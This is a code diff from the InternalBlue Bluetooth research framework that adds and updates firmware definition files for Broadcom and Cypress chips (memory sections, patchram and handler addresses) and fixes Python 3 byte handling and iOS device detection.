MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x00307FFF, False, True),
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256 # 154/256 used on Catalina 10.15.1
PATCHRAM_ALIGNED = False
+52
View File
@@ -0,0 +1,52 @@
#!/usr/bin/env python
# fw_0x2033.py
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4377B3(FirmwareDefinition):
# Firmware Infos
# MacBook Late 2019, MacBook Air 2020, PCIe variant
FW_NAME = "BCM4377B3"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x00307FFF, False, True),
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256 # 154/256 used on Catalina 10.15.1
PATCHRAM_ALIGNED = False
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20ffae) # this is the field but packetlogger also shows more info that it cannot decode then
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python
# fw_0x2056.py
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4364B0(FirmwareDefinition):
# Firmware Infos
# Various MacBooks/iMacs ranging from 2016 to 2019.
# Note that with each OS update the LMP version changes on macOS, so you might
# need to rename the file to the LMP minor version you see in your macOS hardware
# report. It was 0x2056 in April 2020.
FW_NAME = "BCM4364B0"
# Memory Sections - untested!
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(0x00160000, 0x0017FFFF, False, True), # Patches
MemorySection(0x00200000, 0x00288000, False, True), # Internal Memory Cortex M3
MemorySection(0x00300000, 0x0037FFFF, False, True),
]
# Patchram - untested!
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x160000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x203154)
+44
View File
@@ -0,0 +1,44 @@
# fw_default.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM20703A1(FirmwareDefinition):
# Firmware Infos
# MacBook Pro early 2015 15" Retina
# macOS changes the LMP version with security fixes
# 10.15.4 has 0x21a9 but older patches go down to 0x21a1
FW_NAME = "BCM20703A1"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x000C7FFF, True, False), # Internal ROM
MemorySection(0x000D0000, 0x000EFFFF, False, True), # Patchram
MemorySection(0x00200000, 0x00247FFF, False, True), # Internal Memory Cortex M3
]
# Patchram
# needs aligned access on this firmware, so it doesn't work
+38
View File
@@ -0,0 +1,38 @@
#!/usr/bin/env python
#
# fw_0x21d0.py
#
# Firmware file for BCM2046 chipsets. These chipsets are typically used for
# in older MacBooks and iMacs.
#
# Copyright (c) 2020 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM2046(FirmwareDefinition):
# Firmware Infos
FW_NAME = "BCM2046" # iMac 2009
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x3FFFF, True, False), # Internal ROM
MemorySection(0x80000, 0x89FFF, False, True), # Internal RAM
]
+6 -2
View File
@@ -1,13 +1,13 @@
#!/usr/bin/env python
# fw_0x6119.py
# fw_0x2209.py
#
# All firmware specific data such as address offsets are collected
# in the fw.py file. Later versions of the framework will provide
# multiple copies of this file in order to target different firmware
# and chip versions.
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -27,6 +27,7 @@
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM43430A1(FirmwareDefinition):
@@ -73,6 +74,9 @@ class BCM43430A1(FirmwareDefinition):
BLOC_HEAD = 0x200588 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Enable enhanced advertisement reports (bEnhancedAdvReport) - TODO untested
ENHANCED_ADV_REPORT_ADDRESS = Address(0x202980)
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21A000
SENDLCP_ASM_CODE = """
+28 -1
View File
@@ -2,7 +2,7 @@
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -22,8 +22,26 @@
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class CYW20819A1(FirmwareDefinition):
"""
CYW20819 is a Cypress evaluation board, the newest one that is currently available.
Known issues:
* `Launch_RAM` does not terminate and crashes the board.
To get this working anyway:
The `Launch_RAM` handler HCI callback is at `0xF2884` and it can be overwritten with the
address of the memory snippet you want to launch. For example, at `0x219000` there is some
free memory. Put the function there. Then:
`internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
"""
# Firmware Infos
# Evaluation Kit CYW920819
FW_NAME = "CYW20819A1"
@@ -47,3 +65,12 @@ class CYW20819A1(FirmwareDefinition):
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0xF2884
HCI_EVENT_COMPLETE = 0x1179E
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x20294C)
+1 -2
View File
@@ -22,9 +22,8 @@
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from .fw import MemorySection, FirmwareDefinition
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM20702A1(FirmwareDefinition):
+4
View File
@@ -83,6 +83,10 @@ class BCM4358A3(FirmwareDefinition):
# crashes even when executing 0x5E860 twice, which is just a nullsub
# also crashes during the pause if there are other hci events
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0x260B84 # TODO this one needs to be handed with a "branch" (without link) instead of sub+1
HCI_EVENT_COMPLETE = 0x229C
# Snippet for sendLmpPacket()
SENDLMP_CODE_BASE_ADDRESS = 0xD5130
# TODO already works except for correct mac address - so still a problem with the connection #
+49
View File
@@ -0,0 +1,49 @@
#!/usr/bin/env python
# fw_0x3032.py
#
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4364B3(FirmwareDefinition):
# Firmware Infos
# MacBook Pro 2019-2020, UART variant, 10.15.4-5
FW_NAME = "BCM4364B3"
# Memory Sections
# start, end, is_rom? is_ram?
SECTIONS = [
MemorySection(0x00000000, 0x0009FFFF, True, False), # Internal ROM
#MemorySection(0x00100000, 0x0011FFFF, False, True), # Patches
#MemorySection(0x00200000, 0x0025FFFF, False, True), # Internal Memory Cortex M3
#MemorySection(0x00300000, 0x00307FFF, False, True),
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310204
PATCHRAM_VALUE_TABLE_ADDRESS = 0x100000
PATCHRAM_NUMBER_OF_SLOTS = 128 # maybe even just 64?! this is really weird for a new chip... apparently 50 slots used on 10.15.4
PATCHRAM_ALIGNED = False
+9 -1
View File
@@ -2,7 +2,7 @@
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -22,6 +22,7 @@
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class CYW20735B1(FirmwareDefinition):
@@ -92,11 +93,18 @@ class CYW20735B1(FirmwareDefinition):
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0x1425BC
HCI_EVENT_COMPLETE = 0x24E66
# Connection Struct and Table
CONNECTION_LIST_ADDRESS = 0x216F98 # pRm_whole_conn = 0x280C9C points to this
CONNECTION_MAX = 11 # g_bt_max_connections = 0 in firmware
CONNECTION_STRUCT_LENGTH = 0x168 # ??
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x2829AC)
# Snippet for fuzzLmp()
FUZZLMP_HOOK_ADDRESS = 0xB08D8 # execute standard SendLmpPdu HCI to fill parameters
FUZZLMP_CODE_BASE_ADDRESS = 0x271A00 # memory area of other WICED patches
+27 -3
View File
@@ -2,7 +2,7 @@
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -20,13 +20,30 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from .fw import MemorySection, FirmwareDefinition
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class CYW20739B1(FirmwareDefinition):
"""
CYW20719 is a Cypress evaluation board, the newest one that is currently available.
Known issues:
* `Launch_RAM` does not terminate and crashes the board.
To get this working anyway:
The `Launch_RAM` handler HCI callback is at `0x1AB218` and it can be overwritten with the
address of the memory snippet you want to launch. For example, at `0x0x222500` there is some
free memory. Put the function there. Then:
internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
"""
# Firmware Infos
# Evaluation Kit CYW920719
# Evaluation Kit CYW920719, which is also named CYW20739 internally, because they like fuzzy name definitions
FW_NAME = "CYW20739B1 (NOT iPhone X/XR!)"
# TODO this is not the iPhone firmware, we need to add a switch in fw.py
@@ -59,6 +76,13 @@ class CYW20739B1(FirmwareDefinition):
PATCHRAM_ALIGNED = False
# only seems to work 4-byte aligned here ...
# Launch_RAM is faulty so we need to overwrite it. This is the position of the handler.
LAUNCH_RAM = 0x1AB218
HCI_EVENT_COMPLETE = 0x1A9D6
# Enable enhanced advertisement reports (bEnhancedAdvReport)
ENHANCED_ADV_REPORT_ADDRESS = Address(0x2829AE)
# Assembler snippet for tracepoints
# In contrast to the Nexus 5 patch, we uninstall ourselves automatically and use internal debug functions
TRACEPOINT_BODY_ASM_LOCATION = 0x00223100
+12 -2
View File
@@ -20,8 +20,8 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from .fw import MemorySection, FirmwareDefinition
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM4347B1(FirmwareDefinition):
@@ -37,11 +37,21 @@ class BCM4347B1(FirmwareDefinition):
0x00130000, 0x0014FFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
MemorySection(
0x00300000, 0x00307FFF, False, True
), # HW Regs Cortex M3 (readable)
MemorySection(
0x00310000, 0x00321FFF, False, True
), # HW Regs Cortex M3 (readable)
MemorySection(
0x00326000, 0x0032FFFF, False, True
), # HW Regs Cortex M3 (readable)
]
# Patchram
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x310404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x130000
PATCHRAM_NUMBER_OF_SLOTS = 256
PATCHRAM_NUMBER_OF_SLOTS = 256 # 239 used on iOS 13.4.1
PATCHRAM_ALIGNED = False
+52
View File
@@ -0,0 +1,52 @@
# fw_0x4228.py
#
# Generic firmware file in case we do not know something...
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
# the Software, and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
# - The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# - The Software is provided "as is", without warranty of any kind, express or
# implied, including but not limited to the warranties of merchantability,
# fitness for a particular purpose and noninfringement. In no event shall the
# authors or copyright holders be liable for any claim, damages or other
# liability, whether in an action of contract, tort or otherwise, arising from,
# out of or in connection with the Software or the use or other dealings in the
# Software.
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM4378B1(FirmwareDefinition):
# Firmware Infos
# iPhone 11/SE2
FW_NAME = "BCM4378B1"
# Memory Sections
# start, end, is_rom? is_ram?
# TODO hardware registers not contained in here yet
SECTIONS = [
MemorySection(0x00000000, 0x0013FFFF, True, False), # Internal ROM
MemorySection(
0x00170000, 0x0018FFFF, False, True
), # Internal Memory Patchram Contents
MemorySection(0x00200000, 0x0024FFFF, False, True), # Internal Memory Cortex M3
MemorySection(
0x00270000, 0x002AFFFF, False, True
), # Internal Memory Patchram Contents, Part 2
]
# Patchram, relocated since a loooong time :D
PATCHRAM_TARGET_TABLE_ADDRESS = 0x360000
PATCHRAM_ENABLED_BITMAP_ADDRESS = 0x360404
PATCHRAM_VALUE_TABLE_ADDRESS = 0x170000
PATCHRAM_NUMBER_OF_SLOTS = 256 # all slots except the last one used on the iPhone 11 on iOS 13.5 /o\
PATCHRAM_ALIGNED = False
+2 -7
View File
@@ -37,18 +37,13 @@ class BCM4355C0(FirmwareDefinition):
SECTIONS = [
MemorySection(0x0, 0x90000, True, False),
MemorySection(0xD0000, 0xD8000, False, True),
# MemorySection(0xe0000, 0x1f0000, True , False),
MemorySection(0x200000, 0x228000, False, True),
MemorySection(0x260000, 0x268000, True, False),
# MemorySection(0x280000, 0x2a0000, True , False),
MemorySection(0x318000, 0x320000, False, False),
MemorySection(0x324000, 0x360000, False, False),
MemorySection(0x362000, 0x362100, False, False),
MemorySection(0x363000, 0x363100, False, False),
MemorySection(0x600000, 0x600800, False, False),
MemorySection(0x640000, 0x640800, False, False),
MemorySection(0x650000, 0x650800, False, False),
# MemorySection(0x680000, 0x800000, False, False)
#MemorySection(0x600000, 0x600800, False, False),
#MemorySection(0x640000, 0x640800, False, False),
]
PATCHRAM_TARGET_TABLE_ADDRESS = 0x310000
+5 -1
View File
@@ -7,7 +7,7 @@
# multiple copies of this file in order to target different firmware
# and chip versions.
#
# Copyright (c) 2019 Jiska Classen. (MIT License)
# Copyright (c) 2020 The InternalBlue Team. (MIT License)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
@@ -31,6 +31,7 @@
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
from .. import Address
class BCM4345C0(FirmwareDefinition):
@@ -74,6 +75,9 @@ class BCM4345C0(FirmwareDefinition):
BLOC_HEAD = 0x200490 # g_dynamic_memory_GeneralUsePools
BLOC_NG = True # Next Generation Bloc Buffer
# Enable enhanced advertisement reports (bEnhancedAdvReport) - TODO untested
ENHANCED_ADV_REPORT_ADDRESS = Address(0x202CC4)
# Snippet for sendLcpPacket()
SENDLCP_CODE_BASE_ADDRESS = 0x21F000
SENDLCP_ASM_CODE = """
+1 -1
View File
@@ -20,8 +20,8 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from .fw import MemorySection, FirmwareDefinition
from __future__ import absolute_import
from .fw import MemorySection, FirmwareDefinition
class BCM4345B0(FirmwareDefinition):
+11 -6
View File
@@ -30,6 +30,7 @@ from builtins import hex
from builtins import range
from builtins import object
from enum import Enum
from datetime import datetime
from internalblue.utils.pwnlib_wrapper import (
p8,
@@ -621,6 +622,7 @@ class HCI_Cmd(HCI):
class HCI_Acl(HCI):
@staticmethod
def from_data(data):
data = bytes(data) # bytearray to bytes
handle = u16(unbits(bits_str(data[0:2])[0:12].rjust(16, "0")))
bp = u8(unbits(bits_str(data[1:2])[4:6].rjust(8, "0")))
bc = u8(unbits(bits_str(data[1:2])[6:8].rjust(8, "0")))
@@ -645,6 +647,7 @@ class HCI_Acl(HCI):
class HCI_Sco(HCI):
@staticmethod
def from_data(data):
data = bytes(data) # bytearray to bytes
handle = u16(unbits(bits_str(data[0:2])[0:12].rjust(16, "0")))
ps = u8(unbits(bits_str(data[1:2])[4:6].rjust(8, "0")))
return HCI_Sco(handle, ps, u8(data[2]), data[3:])
@@ -931,7 +934,7 @@ class StackDumpReceiver(object):
def __init__(self, data_directory="."):
self.data_directory = data_directory
self.stack_dump_filename = data_directory + "/internalblue_stackdump.bin"
self.stack_dump_filename = data_directory + ("/internalblue_stackdump_%s.bin" % datetime.now())
def recvPacket(self, record):
hcipkt = record[0]
@@ -941,7 +944,7 @@ class StackDumpReceiver(object):
return
# TODO Android 8 introduced special handling for 0x57 HCI_VSE_SUBCODE_DEBUG_INFO_SUB_EVT,
# stackdumps might no longer work
if hcipkt.data[0] == "\x57":
if hcipkt.data[0] == 0x57:
self.handleNexus6pStackDump(hcipkt)
if hcipkt.data[0:4] == p32(0x039200F7):
self.handleNexus5StackDump(hcipkt)
@@ -963,14 +966,16 @@ class StackDumpReceiver(object):
followed by the actual ram dump (at this address)
"""
addr = u32(data[:4])
if self.memdump_addr == None:
if self.memdump_addr is None:
self.memdump_addr = addr
self.memdumps[addr - self.memdump_addr] = data[4:]
self.memdumps[addr - self.memdump_addr] = bytes(data[4:]) # convert from bytearray to bytes
log.debug("Stack dump handling addr %08x", addr - self.memdump_addr)
def finishStackDump(self):
return # FIXME flat not working on dict in python 3 like this
dump = flat(self.memdumps)
"""
Write the stack dump to a file once it is finished.
"""
dump = flat(self.memdumps) # flatten, as we have one entry per address chunk
log.warn(
"Stack dump @0x%08x written to %s!"
% (self.memdump_addr, self.stack_dump_filename)
+3
View File
@@ -271,6 +271,9 @@ class HCICore(InternalBlue):
btsnoop_drops = 0
btsnoop_time = datetime.datetime.now()
if btsnoop_orig_len == 0:
continue
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (
hci.parse_hci_packet(record_data),
+18 -3
View File
@@ -16,6 +16,7 @@ from internalblue.utils.pwnlib_wrapper import log, context
from .usbmux import USBMux, MuxError
from .core import InternalBlue
import sys
class iOSCore(InternalBlue):
@@ -26,7 +27,7 @@ class iOSCore(InternalBlue):
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils="True",
fix_binutils=True,
data_directory=".",
):
super(iOSCore, self).__init__(
@@ -35,13 +36,23 @@ class iOSCore(InternalBlue):
self.serial = False
self.doublecheck = True
self.buffer = b""
self.mux = USBMux()
self.muxconnecterror = False
try:
self.mux = USBMux()
# on Linux, this can result in ConnectionRefusedError if no iOS device is present
except ConnectionRefusedError:
self.muxconnecterror = True
def device_list(self):
"""
Get a list of connected devices
"""
# prevent access on non-available socket if usbmuxd failed
if self.muxconnecterror:
return []
if self.exit_requested:
self.shutdown()
@@ -62,7 +73,11 @@ class iOSCore(InternalBlue):
device_list = []
for dev in self.devices:
dev_id = "iOS Device (" + dev.serial.decode("utf-8") + ")"
if sys.platform == "darwin":
dev_id = "iOS Device (" + dev.serial + ")" # macos
else:
dev_id = "iOS Device (" + dev.serial.decode(
'utf-8') + ")"
device_list.append((self, dev, dev_id))
return device_list

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